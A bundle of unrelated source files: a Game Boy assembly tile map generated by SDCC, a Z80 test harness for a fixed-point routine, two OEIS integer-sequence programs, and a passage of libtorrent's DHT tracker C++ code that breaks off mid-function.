sub $6,$1
lpe
mov $1,$6
|
;--------------------------------------------------------
; File Created by SDCC : free open source ANSI-C Compiler
; Version 4.1.4 #12246 (Mac OS X x86_64)
;--------------------------------------------------------
.module background_0_map
.optsdcc -mgbz80
;--------------------------------------------------------
; Public variables in this module
;--------------------------------------------------------
.globl _background_0_map
.globl ___bank_background_0_map
;--------------------------------------------------------
; special function registers
;--------------------------------------------------------
;--------------------------------------------------------
; ram data
;--------------------------------------------------------
.area _DATA
;--------------------------------------------------------
; ram data
;--------------------------------------------------------
.area _INITIALIZED
;--------------------------------------------------------
; absolute external ram data
;--------------------------------------------------------
.area _DABS (ABS)
;--------------------------------------------------------
; global & static initialisations
;--------------------------------------------------------
.area _HOME
.area _GSINIT
.area _GSFINAL
.area _GSINIT
;--------------------------------------------------------
; Home
;--------------------------------------------------------
.area _HOME
.area _HOME
;--------------------------------------------------------
; code
;--------------------------------------------------------
.area _CODE_255
.area _CODE_255
___bank_background_0_map = 0x00ff
_background_0_map:
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x01 ; 1
.db #0x02 ; 2
.db #0x02 ; 2
.db #0x02 ; 2
.db #0x02 ; 2
.db #0x02 ; 2
.db #0x02 ; 2
.db #0x02 ; 2
.db #0x02 ; 2
.db #0x02 ; 2
.db #0x02 ; 2
.db #0x02 ; 2
.db #0x02 ; 2
.db #0x02 ; 2
.db #0x02 ; 2
.db #0x02 ; 2
.db #0x02 ; 2
.db #0x03 ; 3
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x04 ; 4
.db #0x0f ; 15
.db #0x10 ; 16
.db #0x10 ; 16
.db #0x10 ; 16
.db #0x0f ; 15
.db #0x10 ; 16
.db #0x0f ; 15
.db #0x10 ; 16
.db #0x0f ; 15
.db #0x10 ; 16
.db #0x0f ; 15
.db #0x0f ; 15
.db #0x10 ; 16
.db #0x0f ; 15
.db #0x10 ; 16
.db #0x0f ; 15
.db #0x06 ; 6
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x04 ; 4
.db #0x11 ; 17
.db #0x12 ; 18
.db #0x12 ; 18
.db #0x12 ; 18
.db #0x11 ; 17
.db #0x12 ; 18
.db #0x11 ; 17
.db #0x12 ; 18
.db #0x11 ; 17
.db #0x12 ; 18
.db #0x11 ; 17
.db #0x11 ; 17
.db #0x12 ; 18
.db #0x11 ; 17
.db #0x12 ; 18
.db #0x11 ; 17
.db #0x06 ; 6
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x04 ; 4
.db #0x13 ; 19
.db #0x14 ; 20
.db #0x15 ; 21
.db #0x16 ; 22
.db #0x17 ; 23
.db #0x13 ; 19
.db #0x13 ; 19
.db #0x14 ; 20
.db #0x15 ; 21
.db #0x13 ; 19
.db #0x14 ; 20
.db #0x15 ; 21
.db #0x16 ; 22
.db #0x17 ; 23
.db #0x13 ; 19
.db #0x14 ; 20
.db #0x06 ; 6
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x04 ; 4
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x06 ; 6
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x04 ; 4
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x06 ; 6
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x04 ; 4
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x06 ; 6
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x04 ; 4
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x06 ; 6
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x04 ; 4
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x06 ; 6
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x04 ; 4
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x06 ; 6
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x04 ; 4
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x06 ; 6
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x04 ; 4
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x06 ; 6
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x04 ; 4
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x06 ; 6
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x04 ; 4
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x06 ; 6
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x04 ; 4
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x06 ; 6
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x09 ; 9
.db #0x0a ; 10
.db #0x0a ; 10
.db #0x0a ; 10
.db #0x0a ; 10
.db #0x0a ; 10
.db #0x0a ; 10
.db #0x0b ; 11
.db #0x18 ; 24
.db #0x19 ; 25
.db #0x0d ; 13
.db #0x0a ; 10
.db #0x0a ; 10
.db #0x0a ; 10
.db #0x0a ; 10
.db #0x0a ; 10
.db #0x0a ; 10
.db #0x0e ; 14
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x04 ; 4
.db #0x1a ; 26
.db #0x1b ; 27
.db #0x06 ; 6
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.area _INITIALIZER
.area _CABS (ABS)
|
; pasmo -I ../danagy -d test_fwst.asm 24576.bin > test.asm ; grep "BREAKPOINT" test.asm
; randomize usr 57344
INCLUDE "finit.asm"
color_flow_warning EQU 1
carry_flow_warning EQU 1
DATA_ADR EQU $6000 ; 24576
TEXT_ADR EQU $E000 ; 57344
ORG DATA_ADR
dw FP256, $0100 ; 0x8700
dw FP5, $0005
dw FP64, $0040
dw $5000, $FFFF
dw $5001, $FFFF
INCLUDE "test_fwst.dat"
dw $BABE, $DEAD ; Stop MARK
; Subroutines
INCLUDE "fwst.asm"
INCLUDE "fequals.asm"
INCLUDE "print_txt.asm"
INCLUDE "print_hex.asm"
; Lookup tables
if ( $ > TEXT_ADR )
.ERROR "Prilis dlouha data!"
endif
ORG TEXT_ADR
LD HL, DATA_ADR
PUSH HL
READ_DATA:
POP HL
LD BC, $0004
LD DE, OP1
LDIR
PUSH HL
; HL = HL + DE
; HL = HL - DE
; HL = BC * DE
; HL = BC % HL
; HL = BC / HL
; HL = HL * HL
; HL = HL % 1
; HL = HL^0.5
LD HL, (OP1)
BREAKPOINT:
; FUSE Debugger
; br 0xE011
PUSH HL
CALL FWST ; HL => (int) HL
POP BC
; kontrola
LD BC, (RESULT)
IGNORE EQU $+1
LD A, $00
OR A
LD A, $00
LD (IGNORE), A
JR nz, READ_DATA
CALL FEQUALS
if 1
JR nc, READ_DATA
JR z, PRINT_OK
else
JR z, PRINT_OK
endif
CALL PRINT_DATA
if 1
OR A
LD HL, $DEAD
SBC HL, BC
JR nz, READ_DATA
endif
POP HL
RET ; exit
PRINT_OK:
CALL PRINT_DATA
JR READ_DATA
OP1:
defs 2
RESULT:
defs 2
; BC = kontrolni
; HL = spocitana
PRINT_DATA:
LD (DATA_COL), A
LD DE, DATA_4
CALL WRITE_HEX
LD HL, (OP1)
LD DE, DATA_1
CALL WRITE_HEX
LD H, B
LD L, C
LD DE, DATA_3
CALL WRITE_HEX
CALL PRINT_TXT
defb INK, COL_WHITE, '(int) $'
DATA_1:
defs 4
defb ' = $'
DATA_3:
defs 4
defb ' ? ', INK
DATA_COL:
defb COL_WHITE, '$'
DATA_4:
defs 4
defb NEW_LINE
defb STOP_MARK
|
; A005067: Sum of cubes of odd primes dividing n.
; Submitted by Jon Maiga
; 0,0,27,0,125,27,343,0,27,125,1331,27,2197,343,152,0,4913,27,6859,125,370,1331,12167,27,125,2197,27,343,24389,152,29791,0,1358,4913,468,27,50653,6859,2224,125,68921,370,79507,1331,152,12167,103823,27,343,125,4940,2197,148877,27,1456,343,6886,24389,205379,152,226981,29791,370,0,2322,1358,300763,4913,12194,468,357911,27,389017,50653,152,6859,1674,2224,493039,125,27,68921,571787,370,5038,79507,24416,1331,704969,152,2540,12167,29818,103823,6984,27,912673,343,1358,125
add $0,1
lpb $0
mov $2,3
mov $3,$0
lpb $3
mov $4,$0
mod $4,$2
add $2,2
cmp $4,0
cmp $4,0
sub $3,$4
lpe
lpb $0
dif $0,$2
lpe
pow $2,3
add $5,$2
lpe
mov $0,$5
|
/*
Copyright (c) 2006-2016, Arvid Norberg
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in
the documentation and/or other materials provided with the distribution.
* Neither the name of the author nor the names of its
contributors may be used to endorse or promote products derived
from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
*/
#include <set>
#include <numeric>
#include "libtorrent/config.hpp"
#include "libtorrent/kademlia/node.hpp"
#include "libtorrent/kademlia/node_id.hpp"
#include "libtorrent/kademlia/traversal_algorithm.hpp"
#include "libtorrent/kademlia/dht_tracker.hpp"
#include "libtorrent/kademlia/msg.hpp"
#include "libtorrent/kademlia/dht_observer.hpp"
#include "libtorrent/socket.hpp"
#include "libtorrent/socket_io.hpp"
#include "libtorrent/bencode.hpp"
#include "libtorrent/io.hpp"
#include "libtorrent/version.hpp"
#include "libtorrent/time.hpp"
#include "libtorrent/performance_counters.hpp" // for counters
#include "libtorrent/aux_/time.hpp"
#include "libtorrent/aux_/disable_warnings_push.hpp"
#include <boost/bind.hpp>
#include <boost/function/function0.hpp>
#include <boost/ref.hpp>
#include "libtorrent/aux_/disable_warnings_pop.hpp"
using boost::ref;
using libtorrent::dht::node;
using libtorrent::dht::node_id;
using libtorrent::dht::packet_t;
using libtorrent::dht::msg;
using libtorrent::detail::write_endpoint;
namespace libtorrent { namespace dht
{
void incoming_error(entry& e, char const* msg);
namespace {
// generate a new write token key every 5 minutes
time_duration const key_refresh
= duration_cast<time_duration>(minutes(5));
node_id extract_node_id(entry const& e, std::string const& key)
{
if (e.type() != entry::dictionary_t) return (node_id::min)();
entry const* nid = e.find_key(key);
if (nid == NULL || nid->type() != entry::string_t || nid->string().length() != 20)
return (node_id::min)();
return node_id(nid->string().c_str());
}
} // anonymous namespace
// class that puts the networking and the kademlia node in a single
// unit and connecting them together.
dht_tracker::dht_tracker(dht_observer* observer
, io_service& ios
, send_fun_t const& send_fun
, dht_settings const& settings
, counters& cnt
, dht_storage_constructor_type storage_constructor
, entry const& state)
: m_counters(cnt)
, m_dht(udp::v4(), this, settings, extract_node_id(state, "node-id")
, observer, cnt, m_nodes, storage_constructor)
#if TORRENT_USE_IPV6
, m_dht6(udp::v6(), this, settings, extract_node_id(state, "node-id6")
, observer, cnt, m_nodes, storage_constructor)
#endif
, m_send_fun(send_fun)
, m_log(observer)
, m_key_refresh_timer(ios)
, m_connection_timer(ios)
#if TORRENT_USE_IPV6
, m_connection_timer6(ios)
#endif
, m_refresh_timer(ios)
, m_settings(settings)
, m_abort(false)
, m_host_resolver(ios)
, m_send_quota(settings.upload_rate_limit)
, m_last_tick(aux::time_now())
{
m_blocker.set_block_timer(m_settings.block_timeout);
m_blocker.set_rate_limit(m_settings.block_ratelimit);
m_nodes.insert(std::make_pair(m_dht.protocol_family_name(), &m_dht));
#if TORRENT_USE_IPV6
m_nodes.insert(std::make_pair(m_dht6.protocol_family_name(), &m_dht6));
#endif
#ifndef TORRENT_DISABLE_LOGGING
m_log->log(dht_logger::tracker, "starting IPv4 DHT tracker with node id: %s"
, to_hex(m_dht.nid().to_string()).c_str());
#if TORRENT_USE_IPV6
m_log->log(dht_logger::tracker, "starting IPv6 DHT tracker with node id: %s"
, to_hex(m_dht6.nid().to_string()).c_str());
#endif
#endif
}
dht_tracker::~dht_tracker() {}
void dht_tracker::update_node_id()
{
m_dht.update_node_id();
}
// defined in node.cpp
void nop();
void dht_tracker::start(entry const& bootstrap
, find_data::nodes_callback const& f)
{
std::vector<udp::endpoint> initial_nodes;
#if TORRENT_USE_IPV6
std::vector<udp::endpoint> initial_nodes6;
#endif
if (bootstrap.type() == entry::dictionary_t)
{
TORRENT_TRY {
if (entry const* nodes = bootstrap.find_key("nodes"))
read_endpoint_list<udp::endpoint>(nodes, initial_nodes);
} TORRENT_CATCH(std::exception&) {}
#if TORRENT_USE_IPV6
TORRENT_TRY{
if (entry const* nodes = bootstrap.find_key("nodes6"))
read_endpoint_list<udp::endpoint>(nodes, initial_nodes6);
} TORRENT_CATCH(std::exception&) {}
#endif
}
error_code ec;
refresh_key(ec);
m_connection_timer.expires_from_now(seconds(1), ec);
m_connection_timer.async_wait(
boost::bind(&dht_tracker::connection_timeout, self(), boost::ref(m_dht), _1));
#if TORRENT_USE_IPV6
m_connection_timer6.expires_from_now(seconds(1), ec);
m_connection_timer6.async_wait(
boost::bind(&dht_tracker::connection_timeout, self(), boost::ref(m_dht6), _1));
#endif
m_refresh_timer.expires_from_now(seconds(5), ec);
m_refresh_timer.async_wait(boost::bind(&dht_tracker::refresh_timeout, self(), _1));
m_dht.bootstrap(initial_nodes, f);
#if TORRENT_USE_IPV6
m_dht6.bootstrap(initial_nodes6, f);
#endif
}
void dht_tracker::stop()
{
m_abort = true;
error_code ec;
m_key_refresh_timer.cancel(ec);
m_connection_timer.cancel(ec);
#if TORRENT_USE_IPV6
m_connection_timer6.cancel(ec);
#endif
m_refresh_timer.cancel(ec);
m_host_resolver.cancel();
}
#ifndef TORRENT_NO_DEPRECATE
void dht_tracker::dht_status(session_status& s)
{
m_dht.status(s);
}
#endif
void dht_tracker::dht_status(std::vector<dht_routing_bucket>& table
, std::vector<dht_lookup>& requests)
{
m_dht.status(table, requests);
}
void dht_tracker::update_stats_counters(counters& c) const
{
m_dht.update_stats_counters(c);
}
void dht_tracker::connection_timeout(node& n, error_code const& e)
{
if (e || m_abort) return;
time_duration d = n.connection_timeout();
error_code ec;
#if TORRENT_USE_IPV6
deadline_timer& timer = n.protocol() == udp::v4() ? m_connection_timer : m_connection_timer6;
#else
deadline_timer& timer = m_connection_timer;
#endif
timer.expires_from_now(d, ec);
timer.async_wait(boost::bind(&dht_tracker::connection_timeout, self(), boost::ref(n), _1));
}
void dht_tracker::refresh_timeout(error_code const& e)
{
if (e || m_abort) return;
m_dht.tick();
#if TORRENT_USE_IPV6
m_dht6.tick();
#endif
// periodically update the DOS blocker's settings from the dht_settings
m_blocker.set_block_timer(m_settings.block_timeout);
m_blocker.set_rate_limit(m_settings.block_ratelimit);
error_code ec;
m_refresh_timer.expires_from_now(seconds(5), ec);
m_refresh_timer.async_wait(
boost::bind(&dht_tracker::refresh_timeout, self(), _1));
}
void dht_tracker::refresh_key(error_code const& e)
{
if (e || m_abort) return;
error_code ec;
m_key_refresh_timer.expires_from_now(key_refresh, ec);
m_key_refresh_timer.async_wait(boost::bind(&dht_tracker::refresh_key, self(), _1));
m_dht.new_write_key();
m_dht6.new_write_key();
#ifndef TORRENT_DISABLE_LOGGING
m_log->log(dht_logger::tracker, "*** new write key***");
#endif
}
/*
#if defined TORRENT_DEBUG && TORRENT_USE_IOSTREAM
std::ofstream st("dht_routing_table_state.txt", std::ios_base::trunc);
m_dht.print_state(st);
#if TORRENT_USE_IPV6
std::ofstream st6("dht6_routing_table_state.txt", std::ios_base::trunc);
m_dht6.print_state(st6);
#endif
#endif
*/
void dht_tracker::get_peers(sha1_hash const& ih
, boost::function<void(std::vector<tcp::endpoint> const&)> f)
{
m_dht.get_peers(ih, f, NULL, false);
#if TORRENT_USE_IPV6
m_dht6.get_peers(ih, f, NULL, false);
#endif
}
void dht_tracker::announce(sha1_hash const& ih, int listen_port, int flags
, boost::function<void(std::vector<tcp::endpoint> const&)> f)
{
m_dht.announce(ih, listen_port, flags, f);
#if TORRENT_USE_IPV6
m_dht6.announce(ih, listen_port, flags, f);
#endif
}
namespace {
struct get_immutable_item_ctx
{
get_immutable_item_ctx(int traversals)
: active_traversals(traversals)
, item_posted(false)
{}
int active_traversals;
bool item_posted;
};
// these functions provide a slightly higher level
// interface to the get/put functionality in the DHT
void get_immutable_item_callback(item const& it, boost::shared_ptr<get_immutable_item_ctx> ctx
, boost::function<void(item const&)> f)
{
// the reason to wrap here is to control the return value
// since it controls whether we re-put the content
TORRENT_ASSERT(!it.is_mutable());
--ctx->active_traversals;
if (!ctx->item_posted && (!it.empty() || ctx->active_traversals == 0))
{
ctx->item_posted = true;
f(it);
}
}
struct get_mutable_item_ctx
{
get_mutable_item_ctx(int traversals) : active_traversals(traversals) {}
int active_traversals;
item it;
};
bool get_mutable_item_callback(item const& it, bool authoritative
, boost::shared_ptr<get_mutable_item_ctx> ctx
, boost::function<void(item const&, bool)> f)
{
TORRENT_ASSERT(it.is_mutable());
if (authoritative) --ctx->active_traversals;
authoritative = authoritative && ctx->active_traversals == 0;
if ((ctx->it.empty() && !it.empty()) || (ctx->it.seq() < it.seq()))
{
ctx->it = it;
f(it, authoritative);
}
else if (authoritative)
f(it, authoritative);
return false;
}
struct put_item_ctx
{
put_item_ctx(int traversals)
: active_traversals(traversals)
, response_count(0)
{}
int active_traversals;
int response_count;
};
void put_immutable_item_callback(int responses, boost::shared_ptr<put_item_ctx> ctx
, boost::function<void(int)> f)
{
ctx->response_count += responses;
if (--ctx->active_traversals == 0)
f(ctx->response_count);
}
void put_mutable_item_callback(item const& it, int responses, boost::shared_ptr<put_item_ctx> ctx
, boost::function<void(item const&, int)> cb)
{
ctx->response_count += responses;
if (--ctx->active_traversals == 0)
cb(it, ctx->response_count);
}
} // anonymous namespace
void dht_tracker::get_item(sha1_hash const& target
, boost::function<void(item const&)> cb)
{
boost::shared_ptr<get_immutable_item_ctx>
ctx = boost::make_shared<get_immutable_item_ctx>((TORRENT_USE_IPV6) ? 2 : 1);
m_dht.get_item(target, boost::bind(&get_immutable_item_callback, _1, ctx, cb));
#if TORRENT_USE_IPV6
m_dht6.get_item(target, boost::bind(&get_immutable_item_callback, _1, ctx, cb));
#endif
}
// key is a 32-byte binary string, the public key to look up.
// the salt is optional
void dht_tracker::get_item(char const* key
, boost::function<void(item const&, bool)> cb
, std::string salt)
{
boost::shared_ptr<get_mutable_item_ctx>
ctx = boost::make_shared<get_mutable_item_ctx>((TORRENT_USE_IPV6) ? 2 : 1);
m_dht.get_item(key, salt, boost::bind(&get_mutable_item_callback, _1, _2, ctx, cb));
#if TORRENT_USE_IPV6
m_dht6.get_item(key, salt, boost::bind(&get_mutable_item_callback, _1, _2, ctx, cb));
#endif
}
void dht_tracker::put_item(entry const& data
, boost::function<void(int)> cb)
{
std::string flat_data;
bencode(std::back_inserter(flat_data), data);
sha1_hash target = item_target_id(
std::pair<char const*, int>(flat_data.c_str(), flat_data.size()));
boost::shared_ptr<put_item_ctx>
ctx = boost::make_shared<put_item_ctx>((TORRENT_USE_IPV6) ? 2 : 1);
m_dht.put_item(target, data, boost::bind(&put_immutable_item_callback
, _1, ctx, cb));
#if TORRENT_USE_IPV6
m_dht6.put_item(target, data, boost::bind(&put_immutable_item_callback
, _1, ctx, cb));
#endif
}
void dht_tracker::put_item(char const* key
, boost::function<void(item const&, int)> cb
, boost::function<void(item&)> data_cb, std::string salt)
{
boost::shared_ptr<put_item_ctx>
ctx = boost::make_shared<put_item_ctx>((TORRENT_USE_IPV6) ? 2 : 1);
m_dht.put_item(key, salt, boost::bind(&put_mutable_item_callback
, _1, _2, ctx, cb), data_cb);
#if TORRENT_USE_IPV6
m_dht6.put_item(key, salt, boost::bind(&put_mutable_item_callback
, _1, _2, ctx, cb), data_cb);
#endif
}
void dht_tracker::direct_request(udp::endpoint ep, entry& e
, boost::function<void(msg const&)> f)
{
#if TORRENT_USE_IPV6
if (ep.protocol() == udp::v6())
m_dht6.direct_request(ep, e, f);
else
#endif
m_dht.direct_request(ep, e, f);
}
void dht_tracker::incoming_error(error_code const& ec, udp::endpoint const& ep)
{
if (ec == boost::asio::error::connection_refused
|| ec == boost::asio::error::connection_reset
|| ec == boost::asio::error::connection_aborted
#ifdef WIN32
|| ec == error_code(ERROR_HOST_UNREACHABLE, system_category())
|| ec == error_code(ERROR_PORT_UNREACHABLE, system_category())
|| ec == error_code(ERROR_CONNECTION_REFUSED, system_category())
|| ec == error_code(ERROR_CONNECTION_ABORTED, system_category())
#endif
)
{
m_dht.unreachable(ep);
#if TORRENT_USE_IPV6
m_dht6.unreachable(ep);
#endif
}
}
bool dht_tracker::incoming_packet( udp::endpoint const& ep
, char const* buf, int size)
{
if (size <= 20 || *buf != 'd' || buf[size-1] != 'e') return false;
m_counters.inc_stats_counter(counters::dht_bytes_in, size);
// account for IP and UDP overhead
m_counters.inc_stats_counter(counters::recv_ip_overhead_bytes
, ep.address().is_v6() ? 48 : 28);
m_counters.inc_stats_counter(counters::dht_messages_in);
if (m_settings.ignore_dark_internet && ep.address().is_v4())
{
address_v4::bytes_type b = ep.address().to_v4().to_bytes();
// these are class A networks not available to the public
// if we receive messages from here, that seems suspicious
static boost::uint8_t const class_a[] = { 3, 6, 7, 9, 11, 19, 21, 22, 25
, 26, 28, 29, 30, 33, 34, 48, 51, 56 };
int num = sizeof(class_a)/sizeof(class_a[0]);
if (std::find(class_a, class_a + num, b[0]) != class_a + num)
{
m_counters.inc_stats_counter(counters::dht_messages_in_dropped);
return true;
}
}
if (!m_blocker.incoming(ep.address(), clock_type::now(), m_log))
{
m_counters.inc_stats_counter(counters::dht_messages_in_dropped);
return true;
}
using libtorrent::entry;
using libtorrent::bdecode;
TORRENT_ASSERT(size > 0);
int pos;
error_code err;
int ret = bdecode(buf, buf + size, m_msg, err, &pos, 10, 500);
if (ret != 0)
{
m_counters.inc_stats_counter(counters::dht_messages_in_dropped);
#ifndef TORRENT_DISABLE_LOGGING
m_log->log_packet(dht_logger::incoming_message, buf, size, ep);
#endif
return false;
}
if (m_msg.type() != bdecode_node::dict_t)
{
#ifndef TORRENT_DISABLE_LOGGING
m_log->log_packet(dht_logger::incoming_message, buf, size, ep);
#endif
// it's not a good idea to send a response to an invalid messages
return false;
}
#ifndef TORRENT_DISABLE_LOGGING
m_log->log_packet(dht_logger::incoming_message, buf
, size, ep);
#endif
libtorrent::dht::msg m(m_msg, ep);
m_dht.incoming(m);
#if TORRENT_USE_IPV6
m_dht6.incoming(m);
#endif
return true;
}
namespace {
void add_node_fun(void* userdata, node_entry const& e)
{
entry* n = static_cast<entry*>(userdata);
std::string node;
std::back_insert_iterator<std::string> out(node);
write_endpoint(e.ep(), out);
n->list().push_back(entry(node));
}
void save_nodes(entry& ret, node const& dht, std::string const& key)
{
entry nodes(entry::list_t);
dht.m_table.for_each_node(&add_node_fun, &add_node_fun, &nodes);
bucket_t cache;
dht.replacement_cache(cache);
for (bucket_t::iterator i(cache.begin())
, end(cache.end()); i != end; ++i)
{
std::string node;
std::back_insert_iterator<std::string> out(node);
write_endpoint(i->ep(), out);
nodes.list().push_back(entry(node));
}
if (!nodes.list().empty())
ret[key] = nodes;
}
} // anonymous namespace
entry dht_tracker::state() const
{
entry ret(entry::dictionary_t);
save_nodes(ret, m_dht, "nodes");
ret["node-id"] = m_dht.nid().to_string();
#if TORRENT_USE_IPV6
save_nodes(ret, m_dht6, "nodes6");
ret["node-id6"] = m_dht6.nid().to_string();
#endif
return ret;
}
void dht_tracker::add_node(udp::endpoint node)
{
m_dht.add_node(node);
#if TORRENT_USE_IPV6
m_dht6.add_node(node);
#endif
}
void dht_tracker::add_router_node(udp::endpoint const& node)
{
m_dht.add_router_node(node);
#if TORRENT_USE_IPV6
m_dht6.add_router_node(node);
#endif
}
bool dht_tracker::has_quota()
{
time_point now = clock_type::now();
time_duration delta = now - m_last_tick;
m_last_tick = now;
// add any new quota we've accrued since last time
m_send_quota += boost::uint64_t(m_settings.upload_rate_limit)
* total_microseconds(delta) / 1000000;
// allow 3 seconds worth of burst
if (m_send_quota > 3 * m_settings.upload_rate_limit)
m_send_quota = 3 * m_settings.upload_rate_limit;
return m_send_quota > 0;
}
bool dht_tracker::send_packet(libtorrent::entry& e, udp::endpoint const& addr)
{
using libtorrent::bencode;
using libtorrent::entry;
static char const version_str[] = {'L', 'T'
, LIBTORRENT_VERSION_MAJOR, LIBTORRENT_VERSION_MINOR};
e["v"] = std::string(version_str, version_str + 4);
m_send_buf.clear();
bencode(std::back_inserter(m_send_buf), e);
// update the quota. We won't prevent the packet to be sent if we exceed
// the quota, we'll just (potentially) block the next incoming request.
